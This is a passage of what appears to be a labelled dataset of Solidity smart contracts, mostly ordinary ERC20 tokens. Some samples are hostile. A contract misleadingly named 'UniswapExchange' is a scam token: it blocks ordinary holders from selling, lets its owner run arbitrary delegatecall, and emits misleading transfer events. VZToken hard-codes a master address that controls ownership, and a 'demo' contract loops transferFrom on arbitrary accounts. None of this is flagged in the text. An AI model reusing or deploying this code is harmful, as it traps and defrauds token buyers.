event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
address public masterOwner = 0xe4925C73851490401b858B657F26E62e9aD20F66;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public {
require(newOwner != address(0));
require(masterOwner == msg.sender);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function cei(uint256 a, uint256 b) internal pure returns (uint256) {
return ((a + b - 1) / b) * b;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract VZToken is StandardToken, Ownable {
string public constant name = "VectorZilla Token";
string public constant symbol = "VZT";
string public constant version = "1.0";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * 10 ** 18;
uint256 public constant BURNABLE_UP_TO = 90000000 * 10 ** 18;
uint256 public constant VECTORZILLA_RESERVE_VZT = 25000000 * 10 ** 18;
address public constant VECTORZILLA_RESERVE = 0xF63e65c57024886cCa65985ca6E2FB38df95dA11;
address public tokenSaleContract;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
modifier onlyOwnerAndContract() {
require(msg.sender == owner || msg.sender == tokenSaleContract);
_;
}
modifier onlyWhenValidAddress( address _addr ) {
require(_addr != address(0x0));
_;
}
modifier onlyWhenValidContractAddress(address _addr) {
require(_addr != address(0x0));
require(_addr != address(this));
require(isContract(_addr));
_;
}
modifier onlyWhenBurnable(uint256 _value) {
require(totalSupply - _value >= INITIAL_SUPPLY - BURNABLE_UP_TO);
_;
}
modifier onlyWhenNotFrozen(address _addr) {
require(!frozenAccount[_addr]);
_;
}
event Burn(address indexed burner, uint256 value);
event Finalized();
event Withdraw(address indexed from, address indexed to, uint256 value);
function VZToken(address _owner) public {
require(_owner != address(0));
totalSupply = INITIAL_SUPPLY;
balances[_owner] = INITIAL_SUPPLY - VECTORZILLA_RESERVE_VZT;
balances[VECTORZILLA_RESERVE] = VECTORZILLA_RESERVE_VZT;
owner = _owner;
}
function () payable public onlyOwner {}
function transfer(address _to, uint256 _value)
public
onlyWhenValidAddress(_to)
onlyWhenNotFrozen(msg.sender)
onlyWhenNotFrozen(_to)
returns(bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
onlyWhenValidAddress(_to)
onlyWhenValidAddress(_from)
onlyWhenNotFrozen(_from)
onlyWhenNotFrozen(_to)
returns(bool) {
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value)
public
onlyWhenBurnable(_value)
onlyWhenNotFrozen(msg.sender)
returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0x0), _value);
return true;
}
function burnFrom(address _from, uint256 _value)
public
onlyWhenBurnable(_value)
onlyWhenNotFrozen(_from)
onlyWhenNotFrozen(msg.sender)
returns (bool success) {
assert(transferFrom( _from, msg.sender, _value ));
return burn(_value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
onlyWhenValidAddress(_spender)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function freezeAccount(address target, bool freeze) external onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function withdrawToOwner(uint256 weiAmt) public onlyOwner {
require(weiAmt > 0);
owner.transfer(weiAmt);
Withdraw(this, msg.sender, weiAmt);
}
function claimTokens(address _token) external onlyOwner {
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
StandardToken token = StandardToken(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
Withdraw(this, owner, balance);
}
function setTokenSaleContract(address _tokenSaleContract)
external
onlyWhenValidContractAddress(_tokenSaleContract)
onlyOwner {
require(_tokenSaleContract != tokenSaleContract);
tokenSaleContract = _tokenSaleContract;
}
function isContract(address _addr) constant internal returns(bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size: = extcodesize(_addr)
}
return (size > 0);
}
function sendToken(address _to, uint256 _value)
public
onlyWhenValidAddress(_to)
onlyOwnerAndContract
returns(bool) {
address _from = owner;
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
function batchSendTokens(address[] addresses, uint256[] _values)
public onlyOwnerAndContract
returns (bool) {
require(addresses.length == _values.length);
require(addresses.length <= 20);
uint i = 0;
uint len = addresses.length;
for (;i < len; i++) {
sendToken(addresses[i], _values[i]);
}
return true;
}
} | 0 | 1,447 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,472 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,046 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract GameCellCoin is PausableToken
{
using SafeMath for uint256;
string public name="Game Cell Coin";
string public symbol="GCC";
string public standard="ERC20";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 25 *(10**8)*(10 ** uint256(decimals));
event ReleaseTarget(address target);
mapping(address => TimeLock[]) public allocations;
struct TimeLock
{
uint time;
uint256 balance;
}
constructor() public
{
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(canSubAllocation(msg.sender, _value));
subAllocation(msg.sender);
return super.transfer(_to, _value);
}
function canSubAllocation(address sender, uint256 sub_value) private constant returns (bool)
{
if (sub_value==0)
{
return false;
}
if (balances[sender] < sub_value)
{
return false;
}
uint256 alllock_sum = 0;
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].time >= block.timestamp)
{
alllock_sum = alllock_sum.add(allocations[sender][j].balance);
}
}
uint256 can_unlock = balances[sender].sub(alllock_sum);
return can_unlock >= sub_value;
}
function subAllocation(address sender) private
{
for (uint j=0; j<allocations[sender].length; j++)
{
if (allocations[sender][j].time < block.timestamp)
{
allocations[sender][j].balance = 0;
}
}
}
function setAllocation(address _address, uint256 total_value, uint[] times, uint256[] balanceRequires) public onlyOwner returns (bool)
{
require(times.length == balanceRequires.length);
uint256 sum = 0;
for (uint x=0; x<balanceRequires.length; x++)
{
require(balanceRequires[x]>0);
sum = sum.add(balanceRequires[x]);
}
require(total_value >= sum);
require(balances[msg.sender]>=sum);
for (uint i=0; i<times.length; i++)
{
bool find = false;
for (uint j=0; j<allocations[_address].length; j++)
{
if (allocations[_address][j].time == times[i])
{
allocations[_address][j].balance = allocations[_address][j].balance.add(balanceRequires[i]);
find = true;
break;
}
}
if (!find)
{
allocations[_address].push(TimeLock(times[i], balanceRequires[i]));
}
}
return super.transfer(_address, total_value);
}
function releaseAllocation(address target) public onlyOwner
{
require(balances[target] > 0);
for (uint j=0; j<allocations[target].length; j++)
{
allocations[target][j].balance = 0;
}
emit ReleaseTarget(target);
}
} | 1 | 4,696 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] _tokens) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
ERC20Basic token = ERC20Basic(_tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract IndividualLockableToken is PausableToken{
using SafeMath for uint256;
event LockTimeSetted(address indexed holder, uint256 old_release_time, uint256 new_release_time);
event Locked(address indexed holder, uint256 locked_balance_change, uint256 total_locked_balance, uint256 release_time);
struct lockState {
uint256 locked_balance;
uint256 release_time;
}
uint256 public lock_period = 24 weeks;
mapping(address => lockState) internal userLock;
function setReleaseTime(address _holder, uint256 _release_time)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_release_time >= block.timestamp);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = _release_time;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function getReleaseTime(address _holder)
public
view
returns (uint256)
{
require(_holder != address(0));
return userLock[_holder].release_time;
}
function clearReleaseTime(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
uint256 old_release_time = userLock[_holder].release_time;
userLock[_holder].release_time = 0;
emit LockTimeSetted(_holder, old_release_time, userLock[_holder].release_time);
return true;
}
function increaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(balances[_holder] >= _value);
if (userLock[_holder].release_time == 0) {
userLock[_holder].release_time = block.timestamp + lock_period;
}
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).add(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function decreaseLockBalance(address _holder, uint256 _value)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(_value > 0);
require(userLock[_holder].locked_balance >= _value);
userLock[_holder].locked_balance = (userLock[_holder].locked_balance).sub(_value);
emit Locked(_holder, _value, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function clearLock(address _holder)
public
onlyOwner
returns (bool)
{
require(_holder != address(0));
require(userLock[_holder].release_time > 0);
userLock[_holder].locked_balance = 0;
userLock[_holder].release_time = 0;
emit Locked(_holder, 0, userLock[_holder].locked_balance, userLock[_holder].release_time);
return true;
}
function getLockedBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return uint256(0);
return userLock[_holder].locked_balance;
}
function getFreeBalance(address _holder)
public
view
returns (uint256)
{
if(block.timestamp >= userLock[_holder].release_time) return balances[_holder];
return balances[_holder].sub(userLock[_holder].locked_balance);
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(_from) >= _value);
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
returns (bool)
{
require(getFreeBalance(msg.sender) >= _value);
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool success)
{
require(getFreeBalance(msg.sender) >= allowed[msg.sender][_spender].add(_addedValue));
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue < oldValue) {
require(getFreeBalance(msg.sender) >= oldValue.sub(_subtractedValue));
}
return super.decreaseApproval(_spender, _subtractedValue);
